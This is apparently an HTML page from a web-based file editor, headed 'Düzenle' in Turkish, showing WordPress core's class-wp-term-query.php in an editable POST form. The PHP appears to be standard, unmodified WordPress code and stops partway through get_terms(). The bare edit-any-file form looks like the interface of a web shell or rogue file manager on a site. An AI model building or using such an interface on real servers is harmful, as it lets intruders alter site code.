<h3>Düzenle: class-wp-term-query.php</h3>
        <form method='POST'>
        <textarea name='edit' style='width:100%;height:400px;font-family:monospace'>&lt;?php

/**
 * Taxonomy API: WP_Term_Query class.
 *
 * @package WordPress
 * @subpackage Taxonomy
 * @since 4.6.0
 */

/**
 * Class used for querying terms.
 *
 * @since 4.6.0
 *
 * @see WP_Term_Query::__construct() for accepted arguments.
 */
#[AllowDynamicProperties]
class WP_Term_Query {

	/**
	 * SQL string used to perform database query.
	 *
	 * @since 4.6.0
	 * @var string
	 */
	public $request;

	/**
	 * Metadata query container.
	 *
	 * @since 4.6.0
	 * @var WP_Meta_Query A meta query instance.
	 */
	public $meta_query = false;

	/**
	 * Metadata query clauses.
	 *
	 * @since 4.6.0
	 * @var array
	 */
	protected $meta_query_clauses;

	/**
	 * SQL query clauses.
	 *
	 * @since 4.6.0
	 * @var array
	 */
	protected $sql_clauses = array(
		&#039;select&#039;  =&gt; &#039;&#039;,
		&#039;from&#039;    =&gt; &#039;&#039;,
		&#039;where&#039;   =&gt; array(),
		&#039;orderby&#039; =&gt; &#039;&#039;,
		&#039;limits&#039;  =&gt; &#039;&#039;,
	);

	/**
	 * Query vars set by the user.
	 *
	 * @since 4.6.0
	 * @var array
	 */
	public $query_vars;

	/**
	 * Default values for query vars.
	 *
	 * @since 4.6.0
	 * @var array
	 */
	public $query_var_defaults;

	/**
	 * List of terms located by the query.
	 *
	 * @since 4.6.0
	 * @var array
	 */
	public $terms;

	/**
	 * Constructor.
	 *
	 * Sets up the term query, based on the query vars passed.
	 *
	 * @since 4.6.0
	 * @since 4.6.0 Introduced &#039;term_taxonomy_id&#039; parameter.
	 * @since 4.7.0 Introduced &#039;object_ids&#039; parameter.
	 * @since 4.9.0 Added &#039;slug__in&#039; support for &#039;orderby&#039;.
	 * @since 5.1.0 Introduced the &#039;meta_compare_key&#039; parameter.
	 * @since 5.3.0 Introduced the &#039;meta_type_key&#039; parameter.
	 * @since 6.4.0 Introduced the &#039;cache_results&#039; parameter.
	 *
	 * @param string|array $query {
	 *     Optional. Array or query string of term query parameters. Default empty.
	 *
	 *     @type string|string[] $taxonomy               Taxonomy name, or array of taxonomy names, to which results
	 *                                                   should be limited.
	 *     @type int|int[]       $object_ids             Object ID, or array of object IDs. Results will be
	 *                                                   limited to terms associated with these objects.
	 *     @type string          $orderby                Field(s) to order terms by. Accepts:
	 *                                                   - Term fields (&#039;name&#039;, &#039;slug&#039;, &#039;term_group&#039;, &#039;term_id&#039;, &#039;id&#039;,
	 *                                                     &#039;description&#039;, &#039;parent&#039;, &#039;term_order&#039;). Unless `$object_ids`
	 *                                                     is not empty, &#039;term_order&#039; is treated the same as &#039;term_id&#039;.
	 *                                                   - &#039;count&#039; to use the number of objects associated with the term.
	 *                                                   - &#039;include&#039; to match the &#039;order&#039; of the `$include` param.
	 *                                                   - &#039;slug__in&#039; to match the &#039;order&#039; of the `$slug` param.
	 *                                                   - &#039;meta_value&#039;
	 *                                                   - &#039;meta_value_num&#039;.
	 *                                                   - The value of `$meta_key`.
	 *                                                   - The array keys of `$meta_query`.
	 *                                                   - &#039;none&#039; to omit the ORDER BY clause.
	 *                                                   Default &#039;name&#039;.
	 *     @type string          $order                  Whether to order terms in ascending or descending order.
	 *                                                   Accepts &#039;ASC&#039; (ascending) or &#039;DESC&#039; (descending).
	 *                                                   Default &#039;ASC&#039;.
	 *     @type bool|int        $hide_empty             Whether to hide terms not assigned to any posts. Accepts
	 *                                                   1|true or 0|false. Default 1|true.
	 *     @type int[]|string    $include                Array or comma/space-separated string of term IDs to include.
	 *                                                   Default empty array.
	 *     @type int[]|string    $exclude                Array or comma/space-separated string of term IDs to exclude.
	 *                                                   If `$include` is non-empty, `$exclude` is ignored.
	 *                                                   Default empty array.
	 *     @type int[]|string    $exclude_tree           Array or comma/space-separated string of term IDs to exclude
	 *                                                   along with all of their descendant terms. If `$include` is
	 *                                                   non-empty, `$exclude_tree` is ignored. Default empty array.
	 *     @type int|string      $number                 Maximum number of terms to return. Accepts &#039;&#039;|0 (all) or any
	 *                                                   positive number. Default &#039;&#039;|0 (all). Note that `$number` may
	 *                                                   not return accurate results when coupled with `$object_ids`.
	 *                                                   See #41796 for details.
	 *     @type int             $offset                 The number by which to offset the terms query. Default empty.
	 *     @type string          $fields                 Term fields to query for. Accepts:
	 *                                                   - &#039;all&#039; Returns an array of complete term objects (`WP_Term[]`).
	 *                                                   - &#039;all_with_object_id&#039; Returns an array of term objects
	 *                                                     with the &#039;object_id&#039; param (`WP_Term[]`). Works only
	 *                                                     when the `$object_ids` parameter is populated.
	 *                                                   - &#039;ids&#039; Returns an array of term IDs (`int[]`).
	 *                                                   - &#039;tt_ids&#039; Returns an array of term taxonomy IDs (`int[]`).
	 *                                                   - &#039;names&#039; Returns an array of term names (`string[]`).
	 *                                                   - &#039;slugs&#039; Returns an array of term slugs (`string[]`).
	 *                                                   - &#039;count&#039; Returns the number of matching terms (`int`).
	 *                                                   - &#039;id=&gt;parent&#039; Returns an associative array of parent term IDs,
	 *                                                      keyed by term ID (`int[]`).
	 *                                                   - &#039;id=&gt;name&#039; Returns an associative array of term names,
	 *                                                      keyed by term ID (`string[]`).
	 *                                                   - &#039;id=&gt;slug&#039; Returns an associative array of term slugs,
	 *                                                      keyed by term ID (`string[]`).
	 *                                                   Default &#039;all&#039;.
	 *     @type string|string[] $name                   Name or array of names to return term(s) for.
	 *                                                   Default empty.
	 *     @type string|string[] $slug                   Slug or array of slugs to return term(s) for.
	 *                                                   Default empty.
	 *     @type int|int[]       $term_taxonomy_id       Term taxonomy ID, or array of term taxonomy IDs,
	 *                                                   to match when querying terms.
	 *     @type bool            $hierarchical           Whether to include terms that have non-empty descendants
	 *                                                   (even if `$hide_empty` is set to true). Default true.
	 *     @type string          $search                 Search criteria to match terms. Will be SQL-formatted with
	 *                                                   wildcards before and after. Default empty.
	 *     @type string          $name__like             Retrieve terms with criteria by which a term is LIKE
	 *                                                   `$name__like`. Default empty.
	 *     @type string          $description__like      Retrieve terms where the description is LIKE
	 *                                                   `$description__like`. Default empty.
	 *     @type bool            $pad_counts             Whether to pad the quantity of a term&#039;s children in the
	 *                                                   quantity of each term&#039;s &quot;count&quot; object variable.
	 *                                                   Default false.
	 *     @type string          $get                    Whether to return terms regardless of ancestry or whether the
	 *                                                   terms are empty. Accepts &#039;all&#039; or &#039;&#039; (disabled).
	 *                                                   Default &#039;&#039;.
	 *     @type int             $child_of               Term ID to retrieve child terms of. If multiple taxonomies
	 *                                                   are passed, `$child_of` is ignored. Default 0.
	 *     @type int             $parent                 Parent term ID to retrieve direct-child terms of.
	 *                                                   Default empty.
	 *     @type bool            $childless              True to limit results to terms that have no children.
	 *                                                   This parameter has no effect on non-hierarchical taxonomies.
	 *                                                   Default false.
	 *     @type string          $cache_domain           Unique cache key to be produced when this query is stored in
	 *                                                   an object cache. Default &#039;core&#039;.
	 *     @type bool            $cache_results          Whether to cache term information. Default true.
	 *     @type bool            $update_term_meta_cache Whether to prime meta caches for matched terms. Default true.
	 *     @type string|string[] $meta_key               Meta key or keys to filter by.
	 *     @type string|string[] $meta_value             Meta value or values to filter by.
	 *     @type string          $meta_compare           MySQL operator used for comparing the meta value.
	 *                                                   See WP_Meta_Query::__construct() for accepted values and default value.
	 *     @type string          $meta_compare_key       MySQL operator used for comparing the meta key.
	 *                                                   See WP_Meta_Query::__construct() for accepted values and default value.
	 *     @type string          $meta_type              MySQL data type that the meta_value column will be CAST to for comparisons.
	 *                                                   See WP_Meta_Query::__construct() for accepted values and default value.
	 *     @type string          $meta_type_key          MySQL data type that the meta_key column will be CAST to for comparisons.
	 *                                                   See WP_Meta_Query::__construct() for accepted values and default value.
	 *     @type array           $meta_query             An associative array of WP_Meta_Query arguments.
	 *                                                   See WP_Meta_Query::__construct() for accepted values.
	 * }
	 */
	public function __construct( $query = &#039;&#039; ) {
		$this-&gt;query_var_defaults = array(
			&#039;taxonomy&#039;               =&gt; null,
			&#039;object_ids&#039;             =&gt; null,
			&#039;orderby&#039;                =&gt; &#039;name&#039;,
			&#039;order&#039;                  =&gt; &#039;ASC&#039;,
			&#039;hide_empty&#039;             =&gt; true,
			&#039;include&#039;                =&gt; array(),
			&#039;exclude&#039;                =&gt; array(),
			&#039;exclude_tree&#039;           =&gt; array(),
			&#039;number&#039;                 =&gt; &#039;&#039;,
			&#039;offset&#039;                 =&gt; &#039;&#039;,
			&#039;fields&#039;                 =&gt; &#039;all&#039;,
			&#039;name&#039;                   =&gt; &#039;&#039;,
			&#039;slug&#039;                   =&gt; &#039;&#039;,
			&#039;term_taxonomy_id&#039;       =&gt; &#039;&#039;,
			&#039;hierarchical&#039;           =&gt; true,
			&#039;search&#039;                 =&gt; &#039;&#039;,
			&#039;name__like&#039;             =&gt; &#039;&#039;,
			&#039;description__like&#039;      =&gt; &#039;&#039;,
			&#039;pad_counts&#039;             =&gt; false,
			&#039;get&#039;                    =&gt; &#039;&#039;,
			&#039;child_of&#039;               =&gt; 0,
			&#039;parent&#039;                 =&gt; &#039;&#039;,
			&#039;childless&#039;              =&gt; false,
			&#039;cache_domain&#039;           =&gt; &#039;core&#039;,
			&#039;cache_results&#039;          =&gt; true,
			&#039;update_term_meta_cache&#039; =&gt; true,
			&#039;meta_query&#039;             =&gt; &#039;&#039;,
			&#039;meta_key&#039;               =&gt; &#039;&#039;,
			&#039;meta_value&#039;             =&gt; &#039;&#039;,
			&#039;meta_type&#039;              =&gt; &#039;&#039;,
			&#039;meta_compare&#039;           =&gt; &#039;&#039;,
		);

		if ( ! empty( $query ) ) {
			$this-&gt;query( $query );
		}
	}

	/**
	 * Parse arguments passed to the term query with default query parameters.
	 *
	 * @since 4.6.0
	 *
	 * @param string|array $query WP_Term_Query arguments. See WP_Term_Query::__construct() for accepted arguments.
	 */
	public function parse_query( $query = &#039;&#039; ) {
		if ( empty( $query ) ) {
			$query = $this-&gt;query_vars;
		}

		$taxonomies = isset( $query[&#039;taxonomy&#039;] ) ? (array) $query[&#039;taxonomy&#039;] : null;

		/**
		 * Filters the terms query default arguments.
		 *
		 * Use {@see &#039;get_terms_args&#039;} to filter the passed arguments.
		 *
		 * @since 4.4.0
		 *
		 * @param array    $defaults   An array of default get_terms() arguments.
		 * @param string[] $taxonomies An array of taxonomy names.
		 */
		$this-&gt;query_var_defaults = apply_filters( &#039;get_terms_defaults&#039;, $this-&gt;query_var_defaults, $taxonomies );

		$query = wp_parse_args( $query, $this-&gt;query_var_defaults );

		$query[&#039;number&#039;] = absint( $query[&#039;number&#039;] );
		$query[&#039;offset&#039;] = absint( $query[&#039;offset&#039;] );

		// &#039;parent&#039; overrides &#039;child_of&#039;.
		if ( 0 &lt; (int) $query[&#039;parent&#039;] ) {
			$query[&#039;child_of&#039;] = false;
		}

		if ( &#039;all&#039; === $query[&#039;get&#039;] ) {
			$query[&#039;childless&#039;]    = false;
			$query[&#039;child_of&#039;]     = 0;
			$query[&#039;hide_empty&#039;]   = 0;
			$query[&#039;hierarchical&#039;] = false;
			$query[&#039;pad_counts&#039;]   = false;
		}

		$query[&#039;taxonomy&#039;] = $taxonomies;

		$this-&gt;query_vars = $query;

		/**
		 * Fires after term query vars have been parsed.
		 *
		 * @since 4.6.0
		 *
		 * @param WP_Term_Query $query Current instance of WP_Term_Query.
		 */
		do_action( &#039;parse_term_query&#039;, $this );
	}

	/**
	 * Sets up the query and retrieves the results.
	 *
	 * The return type varies depending on the value passed to `$args[&#039;fields&#039;]`. See
	 * WP_Term_Query::get_terms() for details.
	 *
	 * @since 4.6.0
	 *
	 * @param string|array $query Array or URL query string of parameters.
	 * @return WP_Term[]|int[]|string[]|string Array of terms, or number of terms as numeric string
	 *                                         when &#039;count&#039; is passed to `$args[&#039;fields&#039;]`.
	 */
	public function query( $query ) {
		$this-&gt;query_vars = wp_parse_args( $query );
		return $this-&gt;get_terms();
	}

	/**
	 * Retrieves the query results.
	 *
	 * The return type varies depending on the value passed to `$args[&#039;fields&#039;]`.
	 *
	 * The following will result in an array of `WP_Term` objects being returned:
	 *
	 *   - &#039;all&#039;
	 *   - &#039;all_with_object_id&#039;
	 *
	 * The following will result in a numeric string being returned:
	 *
	 *   - &#039;count&#039;
	 *
	 * The following will result in an array of text strings being returned:
	 *
	 *   - &#039;id=&gt;name&#039;
	 *   - &#039;id=&gt;slug&#039;
	 *   - &#039;names&#039;
	 *   - &#039;slugs&#039;
	 *
	 * The following will result in an array of numeric strings being returned:
	 *
	 *   - &#039;id=&gt;parent&#039;
	 *
	 * The following will result in an array of integers being returned:
	 *
	 *   - &#039;ids&#039;
	 *   - &#039;tt_ids&#039;
	 *
	 * @since 4.6.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @return WP_Term[]|int[]|string[]|string Array of terms, or number of terms as numeric string
	 *                                         when &#039;count&#039; is passed to `$args[&#039;fields&#039;]`.
	 */
	public function get_terms() {
		global $wpdb;

		$this-&gt;parse_query( $this-&gt;query_vars );
		$args = &amp;$this-&gt;query_vars;

		// Set up meta_query so it&#039;s available to &#039;pre_get_terms&#039;.
		$this-&gt;meta_query = new WP_Meta_Query();
		$this-&gt;meta_query-&gt;parse_query_vars( $args );

		/**
		 * Fires before terms are retrieved.
		 *
		 * @since 4.6.0
		 *
		 * @param WP_Term_Query $query Current instance of WP_Term_Query (passed by reference).
		 */
		do_action_ref_array( &#039;pre_get_terms&#039;, array( &amp;$this ) );

		$taxonomies = (array) $args[&#039;taxonomy&#039;];

		// Save queries by not crawling the tree in the case of multiple taxes or a flat tax.
		$has_hierarchical_tax = false;
		if ( $taxonomies ) {
			foreach ( $taxonomies as $_tax ) {
				if ( is_taxonomy_hierarchical( $_tax ) ) {
					$has_hierarchical_tax = true;
				}
			}
		} else {
			// When no taxonomies are provided, assume we have to descend the tree.
			$has_hierarchical_tax = true;
		}

		if ( ! $has_hierarchical_tax ) {
			$args[&#039;hierarchical&#039;] = false;
			$args[&#039;pad_counts&#039;]   = false;
		}

		// &#039;parent&#039; overrides &#039;child_of&#039;.
		if ( 0 &lt; (int) $args[&#039;parent&#039;] ) {
			$args[&#039;child_of&#039;] = false;
		}

		if ( &#039;all&#039; === $args[&#039;get&#039;] ) {
			$args[&#039;childless&#039;]    = false;
			$args[&#039;child_of&#039;]     = 0;
			$args[&#039;hide_empty&#039;]   = 0;
			$args[&#039;hierarchical&#039;] = false;
			$args[&#039;pad_counts&#039;]   = false;
		}

		/**
		 * Filters the terms query arguments.
		 *
		 * @since 3.1.0
		 *
		 * @param array    $args       An array of get_terms() arguments.
		 * @param string[] $taxonomies An array of taxonomy names.
		 */
		$args = apply_filters( &#039;get_terms_args&#039;, $args, $taxonomies );

		// Avoid the query if the queried parent/child_of term has no descendants.
		$child_of = $args[&#039;child_of&#039;];
		$parent   = $args[&#039;parent&#039;];

		if ( $child_of ) {
			$_parent = $child_of;
		} elseif ( $parent ) {
			$_parent = $parent;
		} else {
			$_parent = false;
		}

		if ( $_parent ) {
			$in_hierarchy = false;
			foreach ( $taxonomies as $_tax ) {
				$hierarchy = _get_term_hierarchy( $_tax );

				if ( isset( $hierarchy[ $_parent ] ) ) {
					$in_hierarchy = true;
				}
			}

			if ( ! $in_hierarchy ) {
				if ( &#039;count&#039; === $args[&#039;fields&#039;] ) {
					return 0;
				} else {
					$this-&gt;terms = array();
					return $this-&gt;terms;
				}
			}
		}

		// &#039;term_order&#039; is a legal sort order only when joining the relationship table.
		$_orderby = $this-&gt;query_vars[&#039;orderby&#039;];
		if ( &#039;term_order&#039; === $_orderby &amp;&amp; empty( $this-&gt;query_vars[&#039;object_ids&#039;] ) ) {
			$_orderby = &#039;term_id&#039;;
		}

		$orderby = $this-&gt;parse_orderby( $_orderby );

		if ( $orderby ) {
			$orderby = &quot;ORDER BY $orderby&quot;;
		}

		$order = $this-&gt;parse_order( $this-&gt;query_vars[&#039;order&#039;] );

		if ( $taxonomies ) {
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;taxonomy&#039;] =
				&quot;tt.taxonomy IN (&#039;&quot; . implode( &quot;&#039;, &#039;&quot;, array_map( &#039;esc_sql&#039;, $taxonomies ) ) . &quot;&#039;)&quot;;
		}

		if ( empty( $args[&#039;exclude&#039;] ) ) {
			$args[&#039;exclude&#039;] = array();
		}

		if ( empty( $args[&#039;include&#039;] ) ) {
			$args[&#039;include&#039;] = array();
		}

		$exclude      = $args[&#039;exclude&#039;];
		$exclude_tree = $args[&#039;exclude_tree&#039;];
		$include      = $args[&#039;include&#039;];

		$inclusions = &#039;&#039;;
		if ( ! empty( $include ) ) {
			$exclude      = &#039;&#039;;
			$exclude_tree = &#039;&#039;;
			$inclusions   = implode( &#039;,&#039;, wp_parse_id_list( $include ) );
		}

		if ( ! empty( $inclusions ) ) {
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;inclusions&#039;] = &#039;t.term_id IN ( &#039; . $inclusions . &#039; )&#039;;
		}

		$exclusions = array();
		if ( ! empty( $exclude_tree ) ) {
			$exclude_tree      = wp_parse_id_list( $exclude_tree );
			$excluded_children = $exclude_tree;

			foreach ( $exclude_tree as $extrunk ) {
				$excluded_children = array_merge(
					$excluded_children,
					(array) get_terms(
						array(
							&#039;taxonomy&#039;   =&gt; reset( $taxonomies ),
							&#039;child_of&#039;   =&gt; (int) $extrunk,
							&#039;fields&#039;     =&gt; &#039;ids&#039;,
							&#039;hide_empty&#039; =&gt; 0,
						)
					)
				);
			}

			$exclusions = array_merge( $excluded_children, $exclusions );
		}

		if ( ! empty( $exclude ) ) {
			$exclusions = array_merge( wp_parse_id_list( $exclude ), $exclusions );
		}

		// &#039;childless&#039; terms are those without an entry in the flattened term hierarchy.
		$childless = (bool) $args[&#039;childless&#039;];
		if ( $childless ) {
			foreach ( $taxonomies as $_tax ) {
				$term_hierarchy = _get_term_hierarchy( $_tax );
				$exclusions     = array_merge( array_keys( $term_hierarchy ), $exclusions );
			}
		}

		if ( ! empty( $exclusions ) ) {
			$exclusions = &#039;t.term_id NOT IN (&#039; . implode( &#039;,&#039;, array_map( &#039;intval&#039;, $exclusions ) ) . &#039;)&#039;;
		} else {
			$exclusions = &#039;&#039;;
		}

		/**
		 * Filters the terms to exclude from the terms query.
		 *
		 * @since 2.3.0
		 *
		 * @param string   $exclusions `NOT IN` clause of the terms query.
		 * @param array    $args       An array of terms query arguments.
		 * @param string[] $taxonomies An array of taxonomy names.
		 */
		$exclusions = apply_filters( &#039;list_terms_exclusions&#039;, $exclusions, $args, $taxonomies );

		if ( ! empty( $exclusions ) ) {
			// Strip leading &#039;AND&#039;. Must do string manipulation here for backward compatibility with filter.
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;exclusions&#039;] = preg_replace( &#039;/^\s*AND\s*/&#039;, &#039;&#039;, $exclusions );
		}

		if ( &#039;&#039; === $args[&#039;name&#039;] ) {
			$args[&#039;name&#039;] = array();
		} else {
			$args[&#039;name&#039;] = (array) $args[&#039;name&#039;];
		}

		if ( ! empty( $args[&#039;name&#039;] ) ) {
			$names = $args[&#039;name&#039;];

			foreach ( $names as &amp;$_name ) {
				// `sanitize_term_field()` returns slashed data.
				$_name = stripslashes( sanitize_term_field( &#039;name&#039;, $_name, 0, reset( $taxonomies ), &#039;db&#039; ) );
			}

			$this-&gt;sql_clauses[&#039;where&#039;][&#039;name&#039;] = &quot;t.name IN (&#039;&quot; . implode( &quot;&#039;, &#039;&quot;, array_map( &#039;esc_sql&#039;, $names ) ) . &quot;&#039;)&quot;;
		}

		if ( &#039;&#039; === $args[&#039;slug&#039;] ) {
			$args[&#039;slug&#039;] = array();
		} else {
			$args[&#039;slug&#039;] = array_map( &#039;sanitize_title&#039;, (array) $args[&#039;slug&#039;] );
		}

		if ( ! empty( $args[&#039;slug&#039;] ) ) {
			$slug = implode( &quot;&#039;, &#039;&quot;, $args[&#039;slug&#039;] );

			$this-&gt;sql_clauses[&#039;where&#039;][&#039;slug&#039;] = &quot;t.slug IN (&#039;&quot; . $slug . &quot;&#039;)&quot;;
		}

		if ( &#039;&#039; === $args[&#039;term_taxonomy_id&#039;] ) {
			$args[&#039;term_taxonomy_id&#039;] = array();
		} else {
			$args[&#039;term_taxonomy_id&#039;] = array_map( &#039;intval&#039;, (array) $args[&#039;term_taxonomy_id&#039;] );
		}

		if ( ! empty( $args[&#039;term_taxonomy_id&#039;] ) ) {
			$tt_ids = implode( &#039;,&#039;, $args[&#039;term_taxonomy_id&#039;] );

			$this-&gt;sql_clauses[&#039;where&#039;][&#039;term_taxonomy_id&#039;] = &quot;tt.term_taxonomy_id IN ({$tt_ids})&quot;;
		}

		if ( ! empty( $args[&#039;name__like&#039;] ) ) {
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;name__like&#039;] = $wpdb-&gt;prepare(
				&#039;t.name LIKE %s&#039;,
				&#039;%&#039; . $wpdb-&gt;esc_like( $args[&#039;name__like&#039;] ) . &#039;%&#039;
			);
		}

		if ( ! empty( $args[&#039;description__like&#039;] ) ) {
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;description__like&#039;] = $wpdb-&gt;prepare(
				&#039;tt.description LIKE %s&#039;,
				&#039;%&#039; . $wpdb-&gt;esc_like( $args[&#039;description__like&#039;] ) . &#039;%&#039;
			);
		}

		if ( &#039;&#039; === $args[&#039;object_ids&#039;] ) {
			$args[&#039;object_ids&#039;] = array();
		} else {
			$args[&#039;object_ids&#039;] = array_map( &#039;intval&#039;, (array) $args[&#039;object_ids&#039;] );
		}

		if ( ! empty( $args[&#039;object_ids&#039;] ) ) {
			$object_ids = implode( &#039;, &#039;, $args[&#039;object_ids&#039;] );

			$this-&gt;sql_clauses[&#039;where&#039;][&#039;object_ids&#039;] = &quot;tr.object_id IN ($object_ids)&quot;;
		}

		/*
		 * When querying for object relationships, the &#039;count &gt; 0&#039; check
		 * added by &#039;hide_empty&#039; is superfluous.
		 */
		if ( ! empty( $args[&#039;object_ids&#039;] ) ) {
			$args[&#039;hide_empty&#039;] = false;
		}

		if ( &#039;&#039; !== $parent ) {
			$parent                               = (int) $parent;
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;parent&#039;] = &quot;tt.parent = &#039;$parent&#039;&quot;;
		}

		$hierarchical = $args[&#039;hierarchical&#039;];
		if ( &#039;count&#039; === $args[&#039;fields&#039;] ) {
			$hierarchical = false;
		}
		if ( $args[&#039;hide_empty&#039;] &amp;&amp; ! $hierarchical ) {
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;count&#039;] = &#039;tt.count &gt; 0&#039;;
		}

		$number = $args[&#039;number&#039;];
		$offset = $args[&#039;offset&#039;];

		// Don&#039;t limit the query results when we have to descend the family tree.
		if ( $number &amp;&amp; ! $hierarchical &amp;&amp; ! $child_of &amp;&amp; &#039;&#039; === $parent ) {
			if ( $offset ) {
				$limits = &#039;LIMIT &#039; . $offset . &#039;,&#039; . $number;
			} else {
				$limits = &#039;LIMIT &#039; . $number;
			}
		} else {
			$limits = &#039;&#039;;
		}

		if ( ! empty( $args[&#039;search&#039;] ) ) {
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;search&#039;] = $this-&gt;get_search_sql( $args[&#039;search&#039;] );
		}

		// Meta query support.
		$join     = &#039;&#039;;
		$distinct = &#039;&#039;;

		// Reparse meta_query query_vars, in case they were modified in a &#039;pre_get_terms&#039; callback.
		$this-&gt;meta_query-&gt;parse_query_vars( $this-&gt;query_vars );
		$mq_sql       = $this-&gt;meta_query-&gt;get_sql( &#039;term&#039;, &#039;t&#039;, &#039;term_id&#039; );
		$meta_clauses = $this-&gt;meta_query-&gt;get_clauses();

		if ( ! empty( $meta_clauses ) ) {
			$join .= $mq_sql[&#039;join&#039;];

			// Strip leading &#039;AND&#039;.
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;meta_query&#039;] = preg_replace( &#039;/^\s*AND\s*/&#039;, &#039;&#039;, $mq_sql[&#039;where&#039;] );

			$distinct .= &#039;DISTINCT&#039;;

		}

		$selects = array();
		switch ( $args[&#039;fields&#039;] ) {
			case &#039;count&#039;:
				$orderby = &#039;&#039;;
				$order   = &#039;&#039;;
				$selects = array( &#039;COUNT(*)&#039; );
				break;
			default:
				$selects = array( &#039;t.term_id&#039; );
				if ( &#039;all_with_object_id&#039; === $args[&#039;fields&#039;] &amp;&amp; ! empty( $args[&#039;object_ids&#039;] ) ) {
					$selects[] = &#039;tr.object_id&#039;;
				}
				break;
		}

		$_fields = $args[&#039;fields&#039;];

		/**
		 * Filters the fields to select in the terms query.
		 *
		 * Field lists modified using this filter will only modify the term fields returned
		 * by the function when the `$fields` parameter set to &#039;count&#039; or &#039;all&#039;. In all other
		 * cases, the term fields in the results array will be determined by the `$fields`
		 * parameter alone.
		 *
		 * Use of this filter can result in unpredictable behavior, and is not recommended.
		 *
		 * @since 2.8.0
		 *
		 * @param string[] $selects    An array of fields to select for the terms query.
		 * @param array    $args       An array of term query arguments.
		 * @param string[] $taxonomies An array of taxonomy names.
		 */
		$fields = implode( &#039;, &#039;, apply_filters( &#039;get_terms_fields&#039;, $selects, $args, $taxonomies ) );

		$join .= &quot; INNER JOIN $wpdb-&gt;term_taxonomy AS tt ON t.term_id = tt.term_id&quot;;

		if ( ! empty( $this-&gt;query_vars[&#039;object_ids&#039;] ) ) {
			$join    .= &quot; INNER JOIN {$wpdb-&gt;term_relationships} AS tr ON tr.term_taxonomy_id = tt.term_taxonomy_id&quot;;
			$distinct = &#039;DISTINCT&#039;;
		}

		$where = implode( &#039; AND &#039;, $this-&gt;sql_clauses[&#039;where&#039;] );

		$pieces = array( &#039;fields&#039;, &#039;join&#039;, &#039;where&#039;, &#039;distinct&#039;, &#039;orderby&#039;, &#039;order&#039;, &#039;limits&#039; );

		/**
		 * Filters the terms query SQL clauses.
		 *
		 * @since 3.1.0
		 *
		 * @param string[] $clauses {
		 *     Associative array of the clauses for the query.
		 *
		 *     @type string $fields   The SELECT clause of the query.
		 *     @type string $join     The JOIN clause of the query.
		 *     @type string $where    The WHERE clause of the query.
		 *     @type string $distinct The DISTINCT clause of the query.
		 *     @type string $orderby  The ORDER BY clause of the query.
		 *     @type string $order    The ORDER clause of the query.
		 *     @type string $limits   The LIMIT clause of the query.
		 * }
		 * @param string[] $taxonomies An array of taxonomy names.
		 * @param array    $args       An array of term query arguments.
		 */
		$clauses = apply_filters( &#039;terms_clauses&#039;, compact( $pieces ), $taxonomies, $args );

		$fields   = isset( $clauses[&#039;fields&#039;] ) ? $clauses[&#039;fields&#039;] : &#039;&#039;;
		$join     = isset( $clauses[&#039;join&#039;] ) ? $clauses[&#039;join&#039;] : &#039;&#039;;
		$where    = isset( $clauses[&#039;where&#039;] ) ? $clauses[&#039;where&#039;] : &#039;&#039;;
		$distinct = isset( $clauses[&#039;distinct&#039;] ) ? $clauses[&#039;distinct&#039;] : &#039;&#039;;
		$orderby  = isset( $clauses[&#039;orderby&#039;] ) ? $clauses[&#039;orderby&#039;] : &#039;&#039;;
		$order    = isset( $clauses[&#039;order&#039;] ) ? $clauses[&#039;order&#039;] : &#039;&#039;;
		$limits   = isset( $clauses[&#039;limits&#039;] ) ? $clauses[&#039;limits&#039;] : &#039;&#039;;

		$fields_is_filtered = implode( &#039;, &#039;, $selects ) !== $fields;

		if ( $where ) {
			$where = &quot;WHERE $where&quot;;
		}

		$this-&gt;sql_clauses[&#039;select&#039;]  = &quot;SELECT $distinct $fields&quot;;
		$this-&gt;sql_clauses[&#039;from&#039;]    = &quot;FROM $wpdb-&gt;terms AS t $join&quot;;
		$this-&gt;sql_clauses[&#039;orderby&#039;] = $orderby ? &quot;$orderby $order&quot; : &#039;&#039;;
		$this-&gt;sql_clauses[&#039;limits&#039;]  = $limits;

		// Beginning of the string is on a new line to prevent leading whitespace. See https://core.trac.wordpress.org/ticket/56841.
		$this-&gt;request =
			&quot;{$this-&gt;sql_clauses[&#039;select&#039;]}
			 {$this-&gt;sql_clauses[&#039;from&#039;]}
			 {$where}
			 {$this-&gt;sql_clauses[&#039;orderby&#039;]}
			 {$this-&gt;sql_clauses[&#039;limits&#039;]}&quot;;

		$this-&gt;terms = null;

		/**
		 * Filters the terms array before the query takes place.
		 *
		 * Return a non-null value to bypass WordPress&#039; default term queries.
		 *
		 * @since 5.3.0
		 *
		 * @param array|null    $terms Return an array of term data to short-circuit WP&#039;s term query,
		 *                             or null to allow WP queries to run normally.
		 * @param WP_Term_Query $query The WP_Term_Query instance, passed by reference.
		 */
		$this-&gt;terms = apply_filters_ref_array( &#039;terms_pre_query&#039;, array( $this-&gt;terms, &amp;$this ) );

		if ( null !== $this-&gt;terms ) {
			return $this-&gt;terms;
		}

		if ( $args[&#039;cache_results&#039;] ) {
			$cache_key = $this-&gt;generate_cache_key( $args, $this-&gt;request );
			$cache     = wp_cache_get( $cache_key, &#039;term-queries&#039; );

			if ( false !== $cache ) {
				if ( &#039;ids&#039; === $_fields ) {
					$cache = array_map( &#039;intval&#039;, $cache );
				} elseif ( &#039;count&#039; !== $_fields ) {
					if ( ( &#039;all_with_object_id&#039; === $_fields &amp;&amp; ! empty( $args[&#039;object_ids&#039;] ) )
					|| ( &#039;all&#039; === $_fields &amp;&amp; $args[&#039;pad_counts&#039;] || $fields_is_filtered )
					) {
						$term_ids = wp_list_pluck( $cache, &#039;term_id&#039; );
					} else {
						$term_ids = array_map( &#039;intval&#039;, $cache );
					}

					_prime_term_caches( $term_ids, $args[&#039;update_term_meta_cache&#039;] );

					$term_objects = $this-&gt;populate_terms( $cache );
					$cache        = $this-&gt;format_terms( $term_objects, $_fields );
				}

				$this-&gt;terms = $cache;
				return $this-&gt;terms;
			}
		}

		if ( &#039;count&#039; === $_fields ) {
